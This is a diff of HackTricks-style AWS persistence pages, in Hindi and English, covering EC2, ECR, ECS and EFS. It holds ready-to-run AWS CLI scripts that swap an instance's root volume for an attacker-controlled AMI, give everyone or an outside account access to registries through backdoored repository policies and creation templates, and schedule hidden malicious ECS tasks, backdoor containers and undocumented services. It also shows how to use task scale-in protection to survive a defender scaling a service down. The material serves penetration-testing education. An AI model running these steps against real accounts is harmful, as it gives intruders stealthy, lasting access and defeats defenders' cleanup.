{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
यदि किसी defender को पता चले कि एक **EC2 instance compromised था**, तो वह संभवतः उस मशीन के **नेटवर्क** को अलग करने की कोशिश करेगा। वह यह एक स्पष्ट **Deny NACL** के साथ कर सकता है (लेकिन NACLs पूरे subnet को प्रभावित करते हैं), या **security group बदलकर** किसी भी तरह के **इनबाउंड या आउटबाउंड** ट्रैफिक की अनुमति न देने जैसा कर सकता है।
|
||||
|
||||
यदि attacker के पास मशीन से उत्पन्न एक **reverse shell originated from the machine** था, तो भले ही SG को इस तरह से संशोधित किया जाए कि inbound या outbound ट्रैफिक की अनुमति न हो, कनेक्शन [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html) के कारण खत्म नहीं होगा।**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
यह service AMIs और snapshots के निर्माण को **schedule** करने और यहां तक कि उन्हें **other accounts के साथ share** करने की अनुमति देती है।\
|
||||
एक हमलावर सभी images या सभी volumes के AMIs या snapshots का निर्माण **हर week** करने के लिए configure कर सकता है और उन्हें अपने खाते के साथ **share** कर सकता है।
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Instances को daily, weekly या monthly चलाने के लिए schedule किया जा सकता है। एक हमलावर ऐसी मशीन चला सकता है जिसमें उसे high privileges या रुचिकर access मिलता हो, जिसे वह बाद में उपयोग कर सके।
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances सामान्य instances की तुलना में **cheaper** होते हैं। एक हमलावर उदाहरण के लिए **5 year** के लिए एक छोटा **spot fleet request** लॉन्च कर सकता है, जिसमें **automatic IP** असाइनमेंट और ऐसा **user data** होगा जो attacker को **जब spot instance start** हो तो IP address भेज दे और जिसमें एक **high privileged IAM role** जुड़ा हो।
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
एक हमलावर instances तक पहुंच हासिल कर उन्हें backdoor कर सकता है:
|
||||
|
||||
- उदाहरण के लिए परंपरागत **rootkit** का उपयोग करके
|
||||
- एक नया **public SSH key** जोड़कर (देखें [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- **User Data** को backdoor करके
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor करें उपयोग की गई AMI में
|
||||
- Backdoor करें User Data में
|
||||
- Backdoor करें Key Pair में
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
चल रही instance के root EBS volume को attacker-नियंत्रित AMI या snapshot से बने एक volume के साथ `CreateReplaceRootVolumeTask` का उपयोग करके बदल दें। instance अपने ENIs, IPs, और role को बनाए रखता है, और प्रभावी रूप से malicious code में boot कर जाता है जबकि दिखने में अपरिवर्तित रहता है।
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
एक VPN बनाएं ताकि attacker सीधे VPC से कनेक्ट कर सके।
|
||||
|
||||
### VPC Peering
|
||||
|
||||
victim VPC और attacker VPC के बीच peering connection बनाएं ताकि वह victim VPC तक पहुँच सके।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse **ec2:CreateReplaceRootVolumeTask** का दुरुपयोग करें ताकि चल रहे instance के root EBS वॉल्यूम को attacker-controlled AMI या snapshot से restore किए गए वॉल्यूम से बदला जा सके। Instance अपने आप reboot हो जाता है और attacker-controlled root filesystem के साथ resume करता है जबकि ENIs, private/public IPs, attached non-root volumes, और instance metadata/IAM role को संरक्षित रखा जाता है।
|
||||
|
||||
## आवश्यकताएँ
|
||||
- लक्षित instance EBS-backed है और उसी region में चल रहा होना चाहिए।
|
||||
- Compatible AMI या snapshot: target instance के समान architecture/virtualization/boot mode (और product codes, अगर हों) होना चाहिए।
|
||||
|
||||
## पूर्व-जाँच
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## AMI से root को बदलें (अनुशंसित)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
स्नैपशॉट का वैकल्पिक तरीका:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## सबूत / सत्यापन
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
अपेक्षित: ENI_ID और PRI_IP समान रहते हैं; रूट वॉल्यूम ID $ORIG_VOL से बदलकर $NEW_VOL हो जाता है। सिस्टम हमलावर द्वारा नियंत्रित AMI/snapshot से फ़ाइलसिस्टम के साथ बूट होता है।
|
||||
|
||||
## नोट्स
|
||||
- API के लिए आपको instance को मैन्युअली रोकने की जरूरत नहीं है; EC2 रीबूट कराता है।
|
||||
- डिफ़ॉल्ट रूप से, बदला गया (पुराना) root EBS volume detach करके खाते में छोड़ दिया जाता है (DeleteReplacedRootVolume=false)। इसे रोलबैक के लिए उपयोग किया जा सकता है या लागत से बचने के लिए इसे हटाया जाना चाहिए।
|
||||
|
||||
## रोलबैक / क्लीनअप
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,101 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,145 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### छिपा हुआ Docker Image जिसमें malicious code
|
||||
|
||||
एक attacker **upload a Docker image containing malicious code** करके उसे एक ECR repository में रख सकता है और target AWS account में persistence बनाए रखने के लिए use कर सकता है। attacker फिर इस malicious image को account के विभिन्न services, जैसे Amazon ECS या EKS, में stealthy तरीके से deploy कर सकता है।
|
||||
|
||||
### Repository नीति
|
||||
|
||||
एक single repository में अपने लिए (या सभी के लिए) किसी repository तक access देने वाली एक policy जोड़ें:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि ECR यह आवश्यक करता है कि उपयोगकर्ताओं के पास IAM पॉलिसी के माध्यम से **`ecr:GetAuthorizationToken`** API को कॉल करने की **अनुमति** हो **पहले कि वे किसी रजिस्ट्री में authenticate कर सकें** और किसी भी Amazon ECR रिपॉज़िटरी से इमेज push या pull कर सकें।
|
||||
|
||||
### रजिस्ट्री नीति और क्रॉस-एकाउंट रेप्लिकेशन
|
||||
|
||||
क्रॉस-एकाउंट रेप्लिकेशन कॉन्फ़िगर करके किसी बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जहाँ आपको **उस बाहरी खाते को निर्दिष्ट करना** होगा जिसमें आप रजिस्ट्री की प्रतिकृति बनाना चाहते हैं।
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
सबसे पहले, आपको रजिस्ट्री पर बाहरी खाते को एक्सेस देने के लिए इसी तरह की एक **registry policy** देनी होगी:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
फिर replication config लागू करें:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (भविष्य के repos के लिए prefix backdoor)
|
||||
|
||||
ECR Repository Creation Templates का दुरुपयोग करके किसी नियंत्रित prefix के अंतर्गत ECR द्वारा स्वचालित रूप से बनाए जाने वाले किसी भी repository में स्वतः backdoor लगा सकते हैं (उदाहरण के लिए Pull-Through Cache या Create-on-Push के माध्यम से)। इससे मौजूदा repos को छुए बिना भविष्य के repos पर लगातार अनाधिकृत पहुँच मिल जाती है।
|
||||
|
||||
- आवश्यक अनुमति: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (template द्वारा उपयोग), iam:PassRole (यदि template से कोई custom role जुड़ा हो)।
|
||||
- प्रभाव: लक्षित prefix के तहत बनाई गई कोई भी नई repository स्वतः attacker-controlled repository policy (उदा., cross-account read/write), tag mutability, और scanning defaults को inherit कर लेती है।
|
||||
|
||||
<details>
|
||||
<summary>चुने हुए prefix के तहत भविष्य में PTC द्वारा बनाए गए repos में backdoor लगाएँ</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,103 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,151 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### छिपा हुआ आवर्ती ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण करें
|
||||
|
||||
एक हमलावर Amazon EventBridge का उपयोग करके एक छिपा हुआ आवर्ती ECS task बना सकता है ताकि वह **एक दुर्भावनापूर्ण task के निष्पादन को आवधिक रूप से निर्धारित कर सके**। यह task reconnaissance कर सकता है, data exfiltrate कर सकता है, या AWS account में persistence बनाए रख सकता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण
|
||||
|
||||
एक हमलावर मौजूदा ECS task definition में एक **छिपा हुआ backdoor container** जोड़ सकता है जो वैध containers के साथ-साथ चलता है। यह backdoor container persistence बनाए रखने और दुष्ट गतिविधियाँ करने के लिए इस्तेमाल किया जा सकता है।
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### अदस्तावेज़ ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: परीक्षण
|
||||
|
||||
एक attacker एक **अदस्तावेज़ ECS service** बना सकता है जो एक हानिकारक task चलाता है। इच्छित tasks की संख्या न्यूनतम पर सेट करके और logging को अक्षम करके, administrators के लिए हानिकारक service को नोटिस करना कठिन हो जाता है।
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
ecs:UpdateTaskProtection का दुरुपयोग करके service tasks को scale‑in events और rolling deployments द्वारा रोका जाने से बचाया जा सकता है। रक्षा की अवधि को लगातार बढ़ाते हुए, एक हमलावर लंबे समय तक चलने वाले टास्क को चलाता रख सकता है (C2 या डेटा संग्रहण के लिए), भले ही रक्षात्मक पक्ष desiredCount घटा दे या नई task revisions पुश कर दे।
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
प्रभाव: एक protected task desiredCount=0 होने के बावजूद RUNNING बनी रहती है और नए deployments के दौरान replacements को ब्लॉक कर देती है, जिससे ECS service के भीतर stealthy long‑lived persistence सक्षम हो जाती है।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
